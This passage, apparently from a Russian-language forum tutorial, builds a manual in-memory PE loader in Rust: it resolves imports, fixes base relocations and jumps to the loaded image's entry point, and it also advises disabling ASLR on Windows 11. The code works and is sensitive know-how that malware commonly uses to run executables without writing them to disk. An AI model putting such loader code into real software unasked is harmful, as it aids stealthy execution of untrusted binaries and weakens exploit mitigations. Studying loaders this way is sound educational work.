pub FirstThunk: u32,
}
#[repr(C)]
pub union IMAGE_IMPORT_DESCRIPTOR_0 {
pub Characteristics: u32,
pub OriginalFirstThunk: u32,
}
Каждая структура IMAGE_IMPORT_DESCRIPTOR представляет одну библиотеку. Каждая функция, которую необходимо импортировать из этой библиотеки, описывается в структурах IMAGE_THUNK_DATA, на которые указывает поле OriginalFirstThunk в IMAGE_IMPORT_DESCRIPTOR. Эти данные thunk содержат либо порядковый номер функции (.Ordinal), либо имя функции (.AddressOfData).
Адреса найденных функций должны быть добавлены в соответствующие структуры IMAGE_THUNK_DATA, на которые указывает поле FirstThunk в IMAGE_IMPORT_DESCRIPTOR. Да, мы используем OriginalFirstThunk для поиска функции, а затем сохраняем найденные функции в FirstThunk.
Имя функции хранится в структуре IMAGE_IMPORT_BY_NAME, на которую указывает поле u1.AddressOfData в IMAGE_THUNK_DATA.
Используя порядковый номер или имя функции, мы можем применить GetProcAddress, чтобы найти адрес нужной функции. После этого мы устанавливаем этот адрес в соответствующую структуру IMAGE_THUNK_DATA, на которую указывает FirstThunk в IMAGE_IMPORT_DESCRIPTOR.
Спойлер: get_import_directory
C++: Скопировать в буфер обмена
Код:
fn get_import_directory(ntheader: *const c_void) -> IMAGE_DATA_DIRECTORY {
#[cfg(target_arch = "x86_64")]
return unsafe {
(*(ntheader as *const IMAGE_NT_HEADERS64))
.OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize]
};
#[cfg(target_arch = "x86")]
return unsafe {
(*(ntheader as *const IMAGE_NT_HEADERS32))
.OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize]
};
}
pub fn write_import_table(baseptr: *const c_void,ntheader: *const c_void) {
// Get the import directory
let import_dir = get_import_directory(ntheader);
// If the import directory is empty, return
if import_dir.Size == 0 {
return;
}
// Get the pointer to the first thunk
let mut ogfirstthunkptr = baseptr as usize + import_dir.VirtualAddress as usize;
// Loop through each import descriptor
while unsafe { (*(ogfirstthunkptr as *const IMAGE_IMPORT_DESCRIPTOR)).Name } != 0
&& unsafe { (*(ogfirstthunkptr as *const IMAGE_IMPORT_DESCRIPTOR)).FirstThunk } != 0
{
// Get the import descriptor
let mut import = unsafe { std::mem::zeroed::<IMAGE_IMPORT_DESCRIPTOR>() };
unsafe {
std::ptr::copy_nonoverlapping(
ogfirstthunkptr as *const u8,
&mut import as *mut IMAGE_IMPORT_DESCRIPTOR as *mut u8,
std::mem::size_of::<IMAGE_IMPORT_DESCRIPTOR>(),
);
}
// Get the name of the DLL
let dllname = crate::utils::read_string_from_memory(
(baseptr as usize + import.Name as usize) as *const u8,
);
// Load the DLL
let dllhandle = unsafe { LoadLibraryA(dllname.as_bytes().as_ptr() as *const u8) };
// Get the pointer to the first thunk for this import descriptor
let mut thunkptr = unsafe {
baseptr as usize
+ (import.Anonymous.OriginalFirstThunk as usize
| import.Anonymous.Characteristics as usize)
};
let mut i = 0;
// Loop through each thunk for this import descriptor
// and replace the function address with the address of the function in the DLL
while unsafe { *(thunkptr as *const usize) } != 0 {
// Get the thunk data
let mut thunkdata: [u8; std::mem::size_of::<usize>()] =
unsafe { std::mem::zeroed::<[u8; std::mem::size_of::<usize>()]>() };
unsafe {
std::ptr::copy_nonoverlapping(
thunkptr as *const u8,
&mut thunkdata as *mut u8,
std::mem::size_of::<usize>(),
);
}
// Get the offset of the function name
let offset = usize::from_ne_bytes(thunkdata);
// Get the function name
let funcname = crate::utils::read_string_from_memory(
(baseptr as usize + offset as usize + 2) as *const u8,
);
// If the function name is not empty, replace the function address with the address of the function in the DLL
if !funcname.is_empty() {
let funcaddress =
unsafe { GetProcAddress(dllhandle, funcname.as_bytes().as_ptr() as *const u8) };
let funcaddress_ptr = (baseptr as usize
+ import.FirstThunk as usize
+ i * std::mem::size_of::<usize>())
as *mut usize;
unsafe { std::ptr::write(funcaddress_ptr, funcaddress as usize) };
}
i += 1;
// Move to the next thunk
thunkptr += std::mem::size_of::<usize>();
}
ogfirstthunkptr += std::mem::size_of::<IMAGE_IMPORT_DESCRIPTOR>();
}
}
Давайте напишем программу на C и скомпилируем её с флагом DYNAMIC_BASE в заголовке PE, чтобы отключить ASLR:
x86_64-w64-mingw32-gcc -o test.exe main.c -Wl,--disable-dynamicbase
Теперь мы можем открыть её в PE Bear и увидим, что адрес ImageBase: 140000000. Теперь нам также нужно отключить ASLR в Windows 11, так как он включён по умолчанию. Чтобы отключить его, выполните шаги, показанные на изображениях ниже, и перезагрузите систему.
Теперь, как мы видим, Windows действительно загружает этот PE-файл, используя его жёстко прописанный адрес.
Теперь рассмотрим следующий код:
int test = 2;
int* testPtr = &test;
Если компилятор предполагает базовый адрес 0x1000, он может назначить переменной test смещение 0x100, в результате чего testPtr будет указывать на адрес 0x1100. Если загрузчик позже разместит исполняемый файл по адресу 0x2000, переменная test окажется по адресу 0x2100, но testPtr по-прежнему будет содержать значение 0x1100, которое теперь станет недействительным. Загрузчик должен скорректировать такие адреса, чтобы они соответствовали новому базовому адресу. Этот процесс корректировки называется релокацией.
Формат PE включает раздел .reloc, который содержит данные для релокации. Этот раздел организован в виде серии блоков, каждый из которых описывает, как скорректировать адреса в определённой области памяти. Эти блоки определяются двумя структурами:
1- IMAGE_BASE_RELOCATION: Содержит метаданные для блока релокаций.
- VirtualAddress: Базовый RVA (относительный виртуальный адрес) для блока. Все смещения в этом блоке отсчитываются от этого адреса.
- SizeOfBlock: Общий размер блока (включая записи).
- Смещение (12 бит): Добавляется к VirtualAddress блока для определения адреса, который требует корректировки.
- Тип (4 бита): Указывает, как применить корректировку (например, 32-битное смещение, 64-битное смещение).
Код: Скопировать в буфер обмена
Код:
#[repr(C)]
pub struct IMAGE_BASE_RELOCATION {
pub VirtualAddress: u32,
pub SizeOfBlock: u32,
}
Как работают релокации
- Вычисление дельты Загрузчик вычисляет разницу между фактическим адресом загрузки и предпочтительным ImageBase:
Delta = ActualBaseAddress - ImageBase
Например, если ImageBase = 0x40000, но исполняемый файл загружается по адресу 0x50000, Delta = 0x10000.
- Обработка блоков релокацииКаждый блок IMAGE_BASE_RELOCATION определяет область памяти (например, .text или .data). Загрузчик перебирает записи в блоке:
- Для каждой записи он вычисляет целевой адрес:
TargetRVA = VirtualAddress + Entry.Offset
- Затем загрузчик добавляет Delta к значению по адресу TargetRVA, корректируя его для нового базового адреса.
C++: Скопировать в буфер обмена
Код:
pub fn fix_base_relocations(baseptr: *const c_void,ntheader: *const c_void) {
// Get the NT header
#[cfg(target_arch = "x86_64")]
let nt_header =
unsafe { &(*(ntheader as *const IMAGE_NT_HEADERS64)).OptionalHeader };
#[cfg(target_arch = "x86")]
let nt_header =
unsafe { &(*(ntheader as *const IMAGE_NT_HEADERS32)).OptionalHeader };
// Get the base relocation directory
let basereloc = &nt_header.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize];
if basereloc.Size == 0 {
return;
}
// Calculate the difference between the image base and the allocated memory base
let image_base = nt_header.ImageBase;
let diffaddress = baseptr as usize - image_base as usize;
// Get the pointer to the base relocation block
let mut relocptr =
(baseptr as usize + basereloc.VirtualAddress as usize) as *const IMAGE_BASE_RELOCATION;
// Iterate through each block in the base relocation directory
while unsafe { (*relocptr).SizeOfBlock } != 0 {
// Get the number of entries in the current block
let entries = (unsafe { (*relocptr).SizeOfBlock }
- std::mem::size_of::<IMAGE_BASE_RELOCATION>() as u32)
/ 2;
// Iterate through each entry in the current block
for i in 0..entries {
// Get the pointer to the current relocation offset
let relocoffset_ptr = (relocptr as usize
+ std::mem::size_of::<IMAGE_BASE_RELOCATION>()
+ i as usize * 2) as *const u16;
// Get the value of the current relocation offset
let temp = unsafe { *relocoffset_ptr };
// Check if the relocation type is not absolute
if temp as u32 >> 12 as u32 != IMAGE_REL_BASED_ABSOLUTE {
// Calculate the final address of the relocation
let finaladdress = baseptr as usize
+ unsafe { (*relocptr).VirtualAddress } as usize
+ (temp & 0x0fff) as usize;
// Read the original value at the final address
let ogaddress = unsafe { std::ptr::read(finaladdress as *const usize) };
// Calculate the fixed address of the relocation
let fixedaddress = (ogaddress + diffaddress as usize) as usize;
// Write the fixed address to the final address
unsafe {
std::ptr::write(finaladdress as *mut usize, fixedaddress);
}
}
}
// Move to the next block in the base relocation directory
relocptr = unsafe {
(relocptr as *const u8).add((*relocptr).SizeOfBlock as usize)
as *const IMAGE_BASE_RELOCATION
};
}
}
Если вы хотите глубже понять PE, я настоятельно рекомендую взглянуть на блог https://0xrick.github.io/ - там есть очень интересные статьи о различных частях PE-файлов.
Вы можете добиться того же самого с помощью любого компилируемого языка программирования, логика практически одинакова.
Jump to entry
На данном этапе наш PE-файл загружен в память и готов к выполнению. Мы выполняем код, загруженный в память, напрямую вызывая его точку входа (начальный адрес кода).Код: Скопировать в буфер обмена
Код:
unsafe fn execute_image(entrypoint: *const c_void) {
let func: extern "C" fn() -> u32 = std::mem::transmute(entrypoint);
func();
}
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью

ZIP-архив не отображается при загрузке сюда, возможно, из-за его размера. Вот ссылка для скачивания.
View hidden content is available for registered users!